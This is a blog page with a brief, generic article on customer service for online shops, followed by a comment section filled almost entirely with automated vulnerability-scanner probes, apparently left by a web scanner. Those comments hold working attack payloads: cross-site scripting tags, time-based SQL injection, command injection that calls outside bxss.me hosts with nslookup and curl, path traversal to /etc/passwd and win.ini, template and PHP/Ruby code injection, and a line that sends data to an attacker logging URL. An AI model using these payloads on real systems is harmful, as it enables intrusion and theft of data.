Customer Service - Client Service

Customer Service - Client Service

Managing online business requires different skills and abilities than managing a business in the ‘real world.’ Customers can easily detect the size and determine the prestige of a business when they have the ability to walk in and take a look around. Not only do ‘real-world’ furnishings and location tell the customer what level of professionalism to expect, but "real world" personal encounters allow first impressions to be determined by how the business approaches its customer service. When a customer walks into a retail business just about anywhere in the world, that customer expects prompt and personal service, especially with regards to questions that they may have about products they wish to purchase.

Customer service or the client service is the service provided to the customer for his satisfaction during and after the purchase. It is necessary to every business organization to understand the customer needs for value added service. So customer data collection is essential. For this, a good customer service is important. The easiest way to lose a client is because of the poor customer service. The importance of customer service changes by product, industry and customer. Client service is an important part of every business organization. Each organization is different in its attitude towards customer service. Customer service requires a superior quality service through a careful design and execution of a series of activities which include people, technology and processes. Good customer service starts with the design and communication between the company and the staff.

In some ways, the lack of a physical business location allows the online business some leeway that their ‘real world’ counterparts do not enjoy. Location is not important, furnishings are not an issue, and most of the visual first impression is made through the professional design of the business website.

However, one thing still remains true. Customers will make their first impressions on the customer service they encounter. Unfortunately, in online business there is no opportunity for front- line staff to make a good impression. Every interaction the customer has with the website will be their primary means of making their first impression towards the business and its client service. Good customer service in any online business is a direct result of good website design and planning.

 

By Md. Noorun Nobi (perfumeworld.com.bd)

Leave your comment
*
Comments
8/21/2025 8:37 PM
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
8/21/2025 8:37 PM
xfs.bxss.me
8/21/2025 8:37 PM
'"
8/21/2025 8:37 PM
<!--
8/21/2025 8:37 PM
response.write(9180405*9837570)
8/21/2025 8:37 PM
'+response.write(9180405*9837570)+'
8/21/2025 8:37 PM
"+response.write(9180405*9837570)+"
8/21/2025 8:37 PM
'"()&%<zzz><ScRiPt >BiFc(9832)</ScRiPt>
8/21/2025 8:37 PM
<% response.write(9180405*9837570) %>
8/21/2025 8:37 PM
+response.write(9180405*9837570)'
8/21/2025 8:37 PM
'"()&%<zzz><ScRiPt >BiFc(9005)</ScRiPt>
8/21/2025 8:37 PM
9050468
8/21/2025 8:37 PM
bfg8898<s1﹥s2ʺs3ʹhjl8898
8/21/2025 8:37 PM
bfgx6842%C0%BEz1%C0%BCz2a%90bcxhjl6842
8/21/2025 8:37 PM
<%={{={@{#{${dfb}}%>
8/21/2025 8:37 PM
<th:t="${dfb}#foreach
8/21/2025 8:37 PM
/../../../../../../../../../../windows/system32/BITSADMIN.exe
8/21/2025 8:37 PM
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
8/21/2025 8:37 PM
dfb{{98991*97996}}xca
8/21/2025 8:37 PM
dfb[[${98991*97996}]]xca
8/21/2025 8:37 PM
ALLdiLjV
8/21/2025 8:37 PM
KBOprOcT: jT3Fi1vt
8/21/2025 8:37 PM
dfb__${98991*97996}__::.x
8/21/2025 8:37 PM
echo povlor$()\ vjeeaj\nz^xyu||a #' &echo povlor$()\ vjeeaj\nz^xyu||a #|" &echo povlor$()\ vjeeaj\nz^xyu||a #
8/21/2025 8:37 PM
&echo sldquf$()\ ttwwzv\nz^xyu||a #' &echo sldquf$()\ ttwwzv\nz^xyu||a #|" &echo sldquf$()\ ttwwzv\nz^xyu||a #
8/21/2025 8:37 PM
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
8/21/2025 8:37 PM
|echo xhsnkd$()\ pcatuu\nz^xyu||a #' |echo xhsnkd$()\ pcatuu\nz^xyu||a #|" |echo xhsnkd$()\ pcatuu\nz^xyu||a #
8/21/2025 8:37 PM
../../../../../../../../../../../../../../etc/passwd
8/21/2025 8:37 PM
expr 9000429016 - 940601
8/21/2025 8:37 PM
../../../../../../../../../../../../../../windows/win.ini
8/21/2025 8:37 PM
(nslookup -q=cname hitzoioepxdif51fda.bxss.me||curl hitzoioepxdif51fda.bxss.me))
8/21/2025 8:37 PM
file:///etc/passwd
8/21/2025 8:37 PM
$(nslookup -q=cname hitpcjoenmsbb61ec8.bxss.me||curl hitpcjoenmsbb61ec8.bxss.me)
8/21/2025 8:37 PM
&nslookup -q=cname hitnorehuuobied452.bxss.me&'\"`0&nslookup -q=cname hitnorehuuobied452.bxss.me&`'
8/21/2025 8:37 PM
&(nslookup -q=cname hitsowwshiwftca531.bxss.me||curl hitsowwshiwftca531.bxss.me)&'\"`0&(nslookup -q=cname hitsowwshiwftca531.bxss.me||curl hitsowwshiwftca531.bxss.me)&`'
8/21/2025 8:37 PM
<esi:include src="http://bxss.me/rpb.png"/>
8/21/2025 8:37 PM
|(nslookup -q=cname hitpbobvmdmnue7b69.bxss.me||curl hitpbobvmdmnue7b69.bxss.me)
8/21/2025 8:37 PM
<ScRiPt >BiFc(9910)</ScRiPt>
8/21/2025 8:37 PM
`(nslookup -q=cname hitikuvwcvccz83e3a.bxss.me||curl hitikuvwcvccz83e3a.bxss.me)`
8/21/2025 8:37 PM
;(nslookup -q=cname hitfjgnvxrjvmb2d05.bxss.me||curl hitfjgnvxrjvmb2d05.bxss.me)|(nslookup -q=cname hitfjgnvxrjvmb2d05.bxss.me||curl hitfjgnvxrjvmb2d05.bxss.me)&(nslookup -q=cname hitfjgnvxrjvmb2d05.bxss.me||curl hitfjgnvxrjvmb2d05.bxss.me)
8/21/2025 8:37 PM
../
8/21/2025 8:37 PM
|(nslookup${IFS}-q${IFS}cname${IFS}hitnbvgiavssse17c3.bxss.me||curl${IFS}hitnbvgiavssse17c3.bxss.me)
8/21/2025 8:37 PM
./
8/21/2025 8:37 PM
&(nslookup${IFS}-q${IFS}cname${IFS}hitwzjmxgoyqob8346.bxss.me||curl${IFS}hitwzjmxgoyqob8346.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitwzjmxgoyqob8346.bxss.me||curl${IFS}hitwzjmxgoyqob8346.bxss.me)&`'
8/21/2025 8:37 PM
<WN06KZ>VBDMG[!+!]</WN06KZ>
8/21/2025 8:37 PM
${10000487+9999782}
8/21/2025 8:37 PM
<script>BiFc(9322)</script>
8/21/2025 8:37 PM
<script>BiFc(9656)</script>9656
8/21/2025 8:37 PM
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
8/21/2025 8:37 PM
';print(md5(31337));$a='
8/21/2025 8:37 PM
";print(md5(31337));$a="
8/21/2025 8:37 PM
${@print(md5(31337))}
8/21/2025 8:37 PM
${@print(md5(31337))}\
8/21/2025 8:37 PM
'.print(md5(31337)).'
8/21/2025 8:37 PM
<ScR<ScRiPt>IpT>BiFc(9062)</sCr<ScRiPt>IpT>
8/21/2025 8:37 PM
<ScRiPt
>BiFc(9198)</ScRiPt>
8/21/2025 8:37 PM
<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9157></ScRiPt>
8/21/2025 8:37 PM
<isindex type=image src=1 onerror=BiFc(9075)>
8/21/2025 8:37 PM
'.gethostbyname(lc('hitrf'.'idkkxskl343ad.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(65).chr(100).chr(71).'
8/21/2025 8:37 PM
<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9831'>
8/21/2025 8:37 PM
".gethostbyname(lc("hitdo"."iuzkgbay14486.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(81).chr(106).chr(89)."
8/21/2025 8:37 PM
gethostbyname(lc('hitzn'.'cqcvmqjj9fa22.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(75).chr(105).chr(65)
8/21/2025 8:37 PM
<body onload=BiFc(9076)>
8/21/2025 8:37 PM
-1 OR 5*5=25 --
8/21/2025 8:37 PM
-1 OR 5*5=26 --
8/21/2025 8:37 PM
-1 OR 5*5=25
8/21/2025 8:37 PM
-1 OR 5*5=26
8/21/2025 8:37 PM
-1' OR 5*5=25 --
8/21/2025 8:37 PM
-1' OR 5*5=26 --
8/21/2025 8:37 PM
<img src=//xss.bxss.me/t/dot.gif onload=BiFc(9689)>
8/21/2025 8:37 PM
-1" OR 5*5=25 --
8/21/2025 8:37 PM
-1" OR 5*5=26 --
8/21/2025 8:37 PM
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
8/21/2025 8:37 PM
-1' OR 5*5=25 or 'l0QzbP3E'='
8/21/2025 8:37 PM
-1' OR 5*5=26 or 'l0QzbP3E'='
8/21/2025 8:37 PM
/etc/shells
8/21/2025 8:37 PM
-1" OR 5*5=25 or "kTcEpuEv"="
8/21/2025 8:37 PM
../../../../../../../../../../../../../../etc/shells
8/21/2025 8:37 PM
-1" OR 5*5=26 or "kTcEpuEv"="
8/21/2025 8:37 PM
<img src=xyz OnErRor=BiFc(9608)>
8/21/2025 8:37 PM
c:/windows/win.ini
8/21/2025 8:37 PM
ctime
sleep
p0
(I30
tp1
Rp2
.
8/21/2025 8:37 PM
bxss.me
8/21/2025 8:37 PM
Http://bxss.me/t/fit.txt
8/21/2025 8:37 PM
http://bxss.me/t/fit.txt?.jpg
8/21/2025 8:37 PM
HttP://bxss.me/t/xss.html?%00
8/21/2025 8:37 PM
bxss.me/t/xss.html?%00
8/21/2025 8:37 PM
<img/src=">" onerror=alert(9012)>
8/21/2025 8:37 PM
*if(now()=sysdate(),sleep(15),0)
8/21/2025 8:37 PM
%0D%0A%3C%53%63%52%69%50%74%20%3E%42%69%46%63%289251%29%3C%2F%73%43%72%69%70%54%3E
8/21/2025 8:37 PM
\u003CScRiPt\BiFc(9909)\u003C/sCripT\u003E
8/21/2025 8:37 PM
"+"A".concat(70-3).concat(22*4).concat(99).concat(76).concat(114).concat(71)+(require"socket"
Socket.gethostbyname("hitop"+"mhbqkwui115dc.bxss.me.")[3].to_s)+"
8/21/2025 8:37 PM
'+'A'.concat(70-3).concat(22*4).concat(109).concat(88).concat(108).concat(76)+(require'socket'
Socket.gethostbyname('hithl'+'sebkirpnade9a.bxss.me.')[3].to_s)+'
8/21/2025 8:37 PM
'A'.concat(70-3).concat(22*4).concat(107).concat(81).concat(99).concat(87)+(require'socket'
Socket.gethostbyname('hitbr'+'jwwobcha56439.bxss.me.')[3].to_s)
8/21/2025 8:37 PM
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
8/21/2025 8:37 PM
&lt;ScRiPt&gt;BiFc(9975)&lt;/sCripT&gt;
8/21/2025 8:37 PM
BlogCommentAdd
8/21/2025 8:37 PM
BlogCommentAdd/.
8/21/2025 8:37 PM
%F6<img zzz onmouseover=BiFc(99041) //%F6>
8/21/2025 8:37 PM
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
8/21/2025 8:37 PM
<input autofocus onfocus=BiFc(9845)>
8/21/2025 8:37 PM
<a HrEF=http://xss.bxss.me></a>
8/21/2025 8:37 PM
redirtest.acx
8/21/2025 8:37 PM
<a HrEF=jaVaScRiPT:>
8/21/2025 8:38 PM
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
8/21/2025 8:38 PM
&n931330=v954178
8/21/2025 8:38 PM
)
8/21/2025 8:38 PM
!(()&&!|*|*|
8/21/2025 8:38 PM
^(#$!@#$)(()))******
8/21/2025 8:38 PM
}body{zzz:Expre/**/SSion(BiFc(9283))}
8/21/2025 8:38 PM
KaiXn
<ScRiPt >BiFc(9487)</ScRiPt>
8/21/2025 8:38 PM
-1; waitfor delay '0:0:15' --
8/21/2025 8:38 PM
<WWKTTX>D6REE[!+!]</WWKTTX>
8/21/2025 8:38 PM
<ifRAme sRc=9526.com></IfRamE>
8/21/2025 8:38 PM
<arnyRrW x=9348>
8/21/2025 8:38 PM
-1); waitfor delay '0:0:15' --
8/21/2025 8:38 PM
'"()
8/21/2025 8:38 PM
'&&sleep(27*1000)*grtbqx&&'
8/21/2025 8:38 PM
<img sRc='http://attacker-9711/log.php?
8/21/2025 8:38 PM
"&&sleep(27*1000)*ciqbpw&&"
8/21/2025 8:38 PM
'||sleep(27*1000)*ttvatp||'
8/21/2025 8:38 PM
"||sleep(27*1000)*cbkyqi||"
8/21/2025 8:38 PM
<aqSFeAP<
8/21/2025 8:38 PM
-1)); waitfor delay '0:0:15' --
8/21/2025 8:38 PM
-1 waitfor delay '0:0:15' --
8/21/2025 8:38 PM
otOqBalD'; waitfor delay '0:0:15' --
8/21/2025 8:38 PM
pG3HCN2p'); waitfor delay '0:0:15' --
8/21/2025 8:38 PM
iTeHytzA')); waitfor delay '0:0:15' --
8/21/2025 8:38 PM
-1 OR 423=(SELECT 423 FROM PG_SLEEP(15))--
8/21/2025 8:38 PM
-1) OR 228=(SELECT 228 FROM PG_SLEEP(15))--
8/21/2025 8:38 PM
-1)) OR 864=(SELECT 864 FROM PG_SLEEP(15))--
8/21/2025 8:38 PM
JYwncYtw' OR 593=(SELECT 593 FROM PG_SLEEP(15))--
8/21/2025 8:38 PM
fXt0qucD') OR 733=(SELECT 733 FROM PG_SLEEP(15))--
8/21/2025 8:38 PM
ibF4bHRO')) OR 708=(SELECT 708 FROM PG_SLEEP(15))--
8/21/2025 8:38 PM
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
8/21/2025 8:38 PM
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
8/21/2025 8:38 PM
'"
8/21/2025 8:38 PM
%C0%A7%C0%A2%2527%2522\'\"
8/21/2025 8:38 PM
@@G2SMm
8/21/2025 8:38 PM
(select 198766*667891)
8/21/2025 8:38 PM
(select 198766*667891 from DUAL)
8/29/2025 7:31 PM
eWM63Fm5
8/29/2025 7:33 PM
-1 OR 5*5=25 --
8/29/2025 7:33 PM
-1 OR 5*5=26 --
8/29/2025 7:33 PM
-1 OR 5*5=25
8/29/2025 7:33 PM
-1 OR 5*5=26
8/29/2025 7:33 PM
-1' OR 5*5=25 --
8/29/2025 7:33 PM
-1' OR 5*5=26 --
8/29/2025 7:33 PM
-1" OR 5*5=25 --
8/29/2025 7:33 PM
-1" OR 5*5=26 --
8/29/2025 7:33 PM
-1' OR 5*5=25 or 'eCMFkwIY'='
8/29/2025 7:33 PM
-1' OR 5*5=26 or 'eCMFkwIY'='
8/29/2025 7:33 PM
-1" OR 5*5=25 or "9Kss04vn"="
8/29/2025 7:33 PM
-1" OR 5*5=26 or "9Kss04vn"="
8/29/2025 7:35 PM
*if(now()=sysdate(),sleep(15),0)
8/29/2025 7:36 PM
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
8/29/2025 7:38 PM
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
8/29/2025 7:40 PM
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
8/29/2025 7:42 PM
-1; waitfor delay '0:0:15' --
8/29/2025 7:43 PM
-1); waitfor delay '0:0:15' --
8/29/2025 7:45 PM
-1)); waitfor delay '0:0:15' --
8/29/2025 7:46 PM
-1 waitfor delay '0:0:15' --
8/29/2025 7:48 PM
UEawLmdO'; waitfor delay '0:0:15' --
8/29/2025 7:49 PM
nW1jd7VL'); waitfor delay '0:0:15' --
8/29/2025 7:51 PM
jw6ajGQn')); waitfor delay '0:0:15' --
8/29/2025 7:54 PM
-1 OR 520=(SELECT 520 FROM PG_SLEEP(15))--
8/29/2025 7:55 PM
-1) OR 655=(SELECT 655 FROM PG_SLEEP(15))--
8/29/2025 7:57 PM
-1)) OR 462=(SELECT 462 FROM PG_SLEEP(15))--
8/29/2025 7:59 PM
Jfpos3jB' OR 703=(SELECT 703 FROM PG_SLEEP(15))--
8/29/2025 8:00 PM
Fpozc1Mo') OR 538=(SELECT 538 FROM PG_SLEEP(15))--
8/29/2025 8:02 PM
ZkJrZ2G1')) OR 433=(SELECT 433 FROM PG_SLEEP(15))--
8/29/2025 8:04 PM
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
8/29/2025 8:05 PM
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
8/29/2025 8:05 PM
'"
8/29/2025 8:05 PM
%C0%A7%C0%A2%2527%2522\'\"
8/29/2025 8:05 PM
@@BpR31
8/29/2025 8:05 PM
(select 198766*667891)
8/29/2025 8:05 PM
(select 198766*667891 from DUAL)
Blog archive